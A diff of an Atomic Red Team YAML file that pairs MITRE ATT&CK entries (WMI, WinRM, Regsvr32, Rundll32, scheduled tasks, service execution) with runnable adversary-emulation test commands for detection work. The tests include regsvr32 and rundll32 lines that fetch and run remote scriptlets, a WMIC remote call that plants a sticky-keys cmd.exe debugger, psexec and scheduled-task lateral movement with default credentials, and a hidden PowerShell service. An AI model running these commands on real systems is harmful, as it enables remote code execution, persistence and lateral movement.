C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library #{source_file} + C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U #{file_name} + del #{file_name} + - name: Regsvs Uninstall Method Call Test + description: 'Executes the Uninstall Method, No Admin Rights Required, Requires + SNK ' - T1047: + supported_platforms: + - windows + input_arguments: + file_name: + description: Location of the payload + type: Path + default: T1121.dll + source_file: + description: Location of the CSharp source_file + type: Path + default: C:\AtomicRedTeam\atomics\T1121\src\T1121.cs + executor: + name: powershell + elevation_required: false + command: | + $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=' + $Content = [System.Convert]::FromBase64String($key) + Set-Content key.snk -Value $Content -Encoding Byte + C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /keyfile:key.snk #{source_file} + C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe #{file_name} + del #{file_name} + del key.snk + T1117: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1047 - source_name: mitre-attack - external_id: T1047 - - url: https://msdn.microsoft.com/en-us/library/aa394582.aspx - source_name: MSDN WMI - description: Microsoft. (n.d.). Windows Management Instrumentation. Retrieved - April 27, 2016. - - url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf - source_name: FireEye WMI 2015 - description: Ballenthin, W., et al. (2015). Windows Management Instrumentation - (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016. - - url: https://en.wikipedia.org/wiki/Server_Message_Block - source_name: Wikipedia SMB - description: Wikipedia. (2016, June 12). Server Message Block. Retrieved June - 12, 2016. - - url: https://technet.microsoft.com/en-us/library/cc787851.aspx - source_name: TechNet RPC - description: Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, - 2016. x_mitre_data_sources: - - Authentication logs - - Netflow/Enclave netflow + - Loaded DLLs - Process monitoring + - Windows Registry - Process command-line parameters - x_mitre_system_requirements: - - |- - WMI service, winmgmt, running. - Host/network firewalls allowing SMB and WMI ports from source to destination. - SMB authentication. + x_mitre_permissions_required: + - User + - Administrator + name: Regsvr32 + description: |- + Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32) + + Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary. + + Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov) + + Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016) + x_mitre_remote_support: false + id: attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a + modified: '2019-07-31T19:31:54.893Z' + x_mitre_platforms: + - Windows object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: 'Monitor network traffic for WMI connections; the use of - WMI in environments that do not typically use WMI may be suspect. Perform - process monitoring to capture command-line arguments of "wmic" and detect - commands that are used to perform remote behavior. (Citation: FireEye WMI - 2015)' + x_mitre_version: '1.2' + type: attack-pattern + x_mitre_detection: 'Use process monitoring to monitor the execution and arguments + of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history + of known good arguments and loaded files to determine anomalous and potentially + adversarial activity. Command arguments used before and after the regsvr32.exe + invocation may also be useful in determining the origin and purpose of the + script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_contributors: + - Casey Smith + created: '2017-05-31T21:31:26.966Z' kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack - phase_name: execution kill_chain_name: mitre-attack - id: attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055 - name: Windows Management Instrumentation - created: '2017-05-31T21:30:44.329Z' - x_mitre_version: '1.0' - x_mitre_remote_support: true - type: attack-pattern - description: |- - Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI) - - An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015) - x_mitre_permissions_required: - - User - - Administrator - identifier: T1047 - atomic_tests: - - name: WMI Reconnaissance Users - description: 'WMI List User Accounts - -' - supported_platforms: - - windows - executor: - name: command_prompt - elevation_required: false - command: 'wmic useraccount get /ALL - -' - - name: WMI Reconnaissance Processes - description: 'WMI List Processes + external_references: + - source_name: mitre-attack + external_id: T1117 + url: https://attack.mitre.org/techniques/T1117 + - description: Microsoft. (2015, August 14). How to use the Regsvr32 tool and + troubleshoot Regsvr32 error messages. Retrieved June 22, 2016. + source_name: Microsoft Regsvr32 + url: https://support.microsoft.com/en-us/kb/249873 + - description: LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019. + source_name: LOLBAS Regsvr32 + url: https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/ + - description: 'Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” + Continues Trend of Attackers Using Native OS Tools to “Live off the Land”. + Retrieved April 9, 2018.' + source_name: Carbon Black Squiblydoo Apr 2016 + url: https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/ + - description: Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing + Techniques Used in Attacks Targeting the Mongolian Government. Retrieved + February 24, 2017. + source_name: FireEye Regsvr32 Targeting Mongolian Gov + url: https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html + x_mitre_defense_bypassed: + - Process whitelisting + - Anti-virus + - Digital Certificate Validation + identifier: T1117 + atomic_tests: + - name: Regsvr32 local COM scriptlet execution + description: 'Regsvr32.exe is a command-line program used to register and unregister + OLE controls ' supported_platforms: - windows + input_arguments: + filename: + description: Name of the local file, include path. + type: Path + default: C:\AtomicRedTeam\atomics\T1117\RegSvr32.sct executor: name: command_prompt elevation_required: false - command: 'wmic process get caption,executablepath,commandline + command: 'regsvr32.exe /s /u /i:#{filename} scrobj.dll ' - - name: WMI Reconnaissance Software - description: 'WMI List Software + - name: Regsvr32 remote COM scriptlet execution + description: 'Regsvr32.exe is a command-line program used to register and unregister + OLE controls ' supported_platforms: - windows + input_arguments: + url: + description: URL to hosted sct file + type: Url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct executor: name: command_prompt elevation_required: false - command: 'wmic qfe get description,installedOn /format:csv + command: 'regsvr32.exe /s /u /i:#{url} scrobj.dll ' - - name: WMI Reconnaissance List Remote Services - description: 'WMI List Remote Services + - name: Regsvr32 local DLL execution + description: 'Regsvr32.exe is a command-line program used to register and unregister + OLE controls ' supported_platforms: - windows input_arguments: - node: - description: Ip Address - type: String - default: 192.168.0.1 - service_search_string: - description: Name Of Service - type: String - default: sql server + dll_name: + description: Name of DLL to Execute, DLL Should export DllRegisterServer + type: Path + default: C:\AtomicRedTeam\atomics\T1117\bin\AllTheThingsx86.dll executor: name: command_prompt elevation_required: false - command: 'wmic /node:"#{node}" service where (caption like "%#{service_search_string} - (%") + command: '"IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe + /s #{dll_name}) ELSE ( regsvr32.exe /s #{dll_name} )" ' - T1028: + T1085: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1028 - source_name: mitre-attack - external_id: T1028 - - url: http://msdn.microsoft.com/en-us/library/aa384426 - source_name: Microsoft WinRM - description: Microsoft. (n.d.). Windows Remote Management. Retrieved November - 12, 2014. - - url: https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2 - source_name: Jacobsen 2014 - description: Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. - Retrieved November 12, 2014. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_system_requirements: - - WinRM listener turned on and configured on remote system x_mitre_data_sources: - File monitoring - - Authentication logs - - Netflow/Enclave netflow - Process monitoring - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Monitor use of WinRM within an environment by tracking service - execution. If it is not normally used or is disabled, then this may be an - indicator of suspicious behavior. Monitor processes created and actions taken - by the WinRM process or a WinRM invoked script to correlate it with other - related events. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - Binary file metadata + x_mitre_permissions_required: + - User + name: Rundll32 + description: |- + The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations. + + Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL) + + Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) + x_mitre_remote_support: false + id: attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5 + modified: '2019-06-24T19:18:55.792Z' x_mitre_platforms: - Windows - kill_chain_phases: - - phase_name: execution - kill_chain_name: mitre-attack - - phase_name: lateral-movement - kill_chain_name: mitre-attack - id: attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39 - name: Windows Remote Management - created: '2017-05-31T21:30:33.723Z' - x_mitre_version: '1.0' - x_mitre_remote_support: true + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' type: attack-pattern - description: 'Windows Remote Management (WinRM) is the name of both a Windows - service and a protocol that allows a user to interact with a remote system - (e.g., run an executable, modify the Registry, modify services). (Citation: - Microsoft WinRM) It may be called with the winrm command or by - any number of programs such as PowerShell. (Citation: Jacobsen 2014)' - x_mitre_permissions_required: - - User - - Administrator - identifier: T1028 + x_mitre_detection: Use process monitoring to monitor the execution and arguments + of rundll32.exe. Compare recent invocations of rundll32.exe with prior history + of known good arguments and loaded DLLs to determine anomalous and potentially + adversarial activity. Command arguments used with the rundll32.exe invocation + may also be useful in determining the origin and purpose of the DLL being + loaded. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Ricardo Dias + - Casey Smith + created: '2017-05-31T21:31:06.045Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1085 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1085 + - description: Merces, F. (2014). CPL Malware Malicious Control Panel Items. + Retrieved November 1, 2017. + source_name: Trend Micro CPL + url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf + - description: B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. + Retrieved March 5, 2018. + source_name: This is Security Command Line Confusion + url: https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/ + x_mitre_defense_bypassed: + - Anti-virus + - Application whitelisting + - Digital Certificate Validation + identifier: T1085 atomic_tests: - - name: Enable Windows Remote Management - description: 'Powershell Enable WinRM + - name: Rundll32 execute JavaScript Remote Payload With GetObject + description: 'Test execution of a remote script using rundll32.exe ' supported_platforms: - windows + input_arguments: + file_url: + description: location of the payload + type: Url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1085/T1085.sct executor: - name: powershell - elevation_required: true - command: 'Enable-PSRemoting -Force + name: command_prompt + elevation_required: false + command: 'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();" ' - - name: PowerShell Lateral Movement - description: | - Powershell lateral movement using the mmc20 application com object + T1053: + technique: + x_mitre_permissions_required: + - Administrator + - SYSTEM + - User + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + - Windows event logs + name: Scheduled Task + description: |- + Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the remote system. (Citation: TechNet Task Scheduler Security) - Reference: + An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account. + x_mitre_remote_support: true + id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: |- + Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. - https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/ - supported_platforms: - - windows - input_arguments: - computer_name: - description: Name of Computer - type: string - default: computer1 - executor: - name: command_prompt - command: 'powershell.exe [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Documnet.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", - $null, $null, "7") + Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10) -' - - name: WMIC Process Call Create - description: 'Utilize WMIC to start remote process + * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered + * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated + * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted + * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created + * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled + * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled -' + Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. + + Monitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Prashant Verma, Paladion + - Leo Loobeek, @leoloobeek + - Travis Smith, Tripwire + - Alain Homewood, Insomnia Security + created: '2017-05-31T21:30:46.977Z' + x_mitre_effective_permissions: + - SYSTEM + - Administrator + - User + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: execution + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1053 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1053 + - source_name: capec + external_id: CAPEC-557 + url: https://capec.mitre.org/data/definitions/557.html + - source_name: TechNet Task Scheduler Security + description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved + June 8, 2016. + url: https://technet.microsoft.com/en-us/library/cc785125.aspx + - source_name: Twitter Leoloobeek Scheduled Task + description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved + December 12, 2017. + url: https://twitter.com/leoloobeek/status/939248813465853953 + - source_name: TechNet Forum Scheduled Task Operational Setting + description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention + settings. Retrieved December 12, 2017. + url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen + - source_name: TechNet Scheduled Task Events + description: Microsoft. (n.d.). General Task Registration. Retrieved December + 12, 2017. + url: https://technet.microsoft.com/library/dd315590.aspx + - description: Microsoft. (2017, May 28). Audit Other Object Access Events. + Retrieved June 27, 2019. + source_name: Microsoft Scheduled Task Events Win10 + url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events + - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + Retrieved June 6, 2016. + source_name: TechNet Autoruns + url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + modified: '2019-07-25T19:04:10.980Z' + identifier: T1053 + atomic_tests: + - name: At.exe Scheduled task + description: | + Executes cmd.exe + Note: deprecated in Windows 8+ supported_platforms: - windows - input_arguments: - user_name: - description: Username - type: String - default: DOMAIN\Administrator - password: - description: Password - type: String - default: P@ssw0rd1 - computer_name: - description: Target Computer Name - type: String - default: Target executor: name: command_prompt - command: 'wmic /user:#{user_name} /password:#{password} /node:#{computer_name} - process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows - NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" - /t REG_SZ /d \"cmd.exe\" /f" - -' - - name: Psexec - description: 'Utilize psexec to start remote process + elevation_required: false + command: 'at 13:20 /interactive cmd ' + - name: Scheduled task Local + description: '' supported_platforms: - windows input_arguments: - user_name: - description: Username - type: String - default: DOMAIN\Administrator - password: - description: Password + task_command: + description: What you want to execute type: String - default: P@ssw0rd1 - computer_name: - description: Target Computer Name + default: C:\windows\system32\cmd.exe + time: + description: What time 24 Hour type: String - default: Target + default: 72600 executor: name: command_prompt - command: 'psexec \\host -u domain\user -p password -s cmd.exe + elevation_required: false + command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time} ' - - name: Invoke-Command - description: 'Execute Invoke-command on remote host + - name: Scheduled task Remote + description: 'Create a task on a remote system ' supported_platforms: - windows input_arguments: - host_name: - description: Remote Windows Host Name + task_command: + description: What you want to execute type: String - default: Test - remote_command: - description: Command to execute on remote Host + default: C:\windows\system32\cmd.exe + time: + description: What time 24 Hour type: String - default: ipconfig + default: 72600 + target: + description: Target + type: String + default: localhost + user_name: + description: Username DOMAIN\User + type: String + default: DOMAIN\user + password: + description: Password + type: String + default: At0micStrong executor: - name: powershell - command: 'invoke-command -computer_name #{host_name} -scriptblock {#{remote_command}} + name: command_prompt + command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN + "Atomic task" /TR "#{task_command}" /SC daily /ST #{time} ' - T1220: + T1064: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1220 - source_name: mitre-attack - external_id: T1220 - - url: https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script - source_name: Microsoft XSLT Script Mar 2017 - description: Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting - Using . Retrieved July 3, 2018. - - url: https://www.microsoft.com/download/details.aspx?id=21714 - source_name: Microsoft msxsl.exe - description: Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). - Retrieved July 3, 2018. - - url: https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/ - source_name: Penetration Testing Lab MSXSL July 2017 - description: netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved - July 3, 2018. - - url: https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html - source_name: subTee WMIC XSL APR 2018 - description: Smith, C. (2018, April 17). WMIC.EXE Whitelisting Bypass - Hacking - with Style, Stylesheets. Retrieved July 3, 2018. - - url: https://twitter.com/dez_/status/986614411711442944 - source_name: Twitter SquiblyTwo Detection APR 2018 - description: Desimone, J. (2018, April 18). Status Update. Retrieved July - 3, 2018. - - url: https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/ - source_name: Reaqta MSXSL Spearphishing MAR 2018 - description: Admin. (2018, March 2). Spear-phishing campaign leveraging on - MSXSL. Retrieved July 3, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Casey Smith - - Praetorian + x_mitre_permissions_required: + - User x_mitre_data_sources: - Process monitoring + - File monitoring - Process command-line parameters - - Process use of network - - DLL monitoring - modified: '2018-10-31T13:45:13.024Z' + name: Scripting + description: |- + Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts. + + Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them. + + Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014) + id: attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44 + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern x_mitre_detection: |- - Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: subTee WMIC XSL APR 2018) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded. + Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. - The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. + Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. + + Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents) created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-06-24T13:41:53.706Z' + created: '2017-05-31T21:30:51.733Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1064 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1064 + - description: Metasploit. (n.d.). Retrieved December 4, 2014. + source_name: Metasploit_Ref + url: http://www.metasploit.com + - source_name: Veil_Ref + description: Veil Framework. (n.d.). Retrieved December 4, 2014. + url: https://www.veil-framework.com/framework/ + - source_name: Powersploit + description: PowerSploit. (n.d.). Retrieved December 4, 2014. + url: https://github.com/mattifestation/PowerSploit + - description: 'Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting + of National Security Think Tanks. Retrieved November 12, 2014.' + source_name: Alperovitch 2014 + url: https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/ + - source_name: Uperesia Malicious Office Documents + description: Felix. (2016, September). Analyzing Malicious Office Documents. + Retrieved April 11, 2018. + url: https://www.uperesia.com/analyzing-malicious-office-documents + x_mitre_defense_bypassed: + - Process whitelisting + - Data Execution Prevention + - Exploit Prevention + identifier: T1064 + atomic_tests: + - name: Create and Execute Bash Shell Script + description: 'Creates and executes a simple bash script. + +' + supported_platforms: + - macos + - linux + executor: + name: sh + elevation_required: false + command: |- + sh -c "echo 'echo Hello from the Atomic Red Team' > /tmp/art.sh" + sh -c "echo 'ping -c 4 8.8.8.8' >> /tmp/art.sh" + chmod +x /tmp/art.sh + sh /tmp/art.sh + T1035: + technique: + x_mitre_data_sources: + - Windows Registry + - Process monitoring + - Process command-line parameters + x_mitre_permissions_required: + - Administrator + - SYSTEM + name: Service Execution + description: Adversaries may execute a binary, command, or script via a method + that interacts with Windows services, such as the Service Control Manager. + This can be done by either creating a new service or modifying an existing + service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) + and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during + service persistence or privilege escalation. + x_mitre_remote_support: true + id: attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392 x_mitre_platforms: - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Changes to service Registry entries and command-line invocation + of tools capable of modifying services that do not correlate with known software, + patch cycles, etc., may be suspicious. If a service is used only to execute + a binary or script and not to persist, then it will likely be changed back + to its original form shortly after the service is restarted so the service + is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:30:36.550Z' kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Anti-virus - - Application whitelisting - - Digital Certificate Validation + - kill_chain_name: mitre-attack + phase_name: execution + external_references: + - external_id: T1035 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1035 + modified: '2019-07-18T19:12:52.205Z' + identifier: T1035 + atomic_tests: + - name: Execute a Command as a Service + description: "Creates a service specifying an aribrary command and executes + it. When executing commands such as PowerShell, the service will report that + it did not start correctly even when code executes properly. \n" + supported_platforms: + - windows + input_arguments: + service_name: + description: Name of service to create + type: string + default: ARTService + executable_command: + description: Command to execute as a service + type: string + default: "%COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType + File C:\\art-marker.txt" + executor: + name: command_prompt + elevation_required: true + 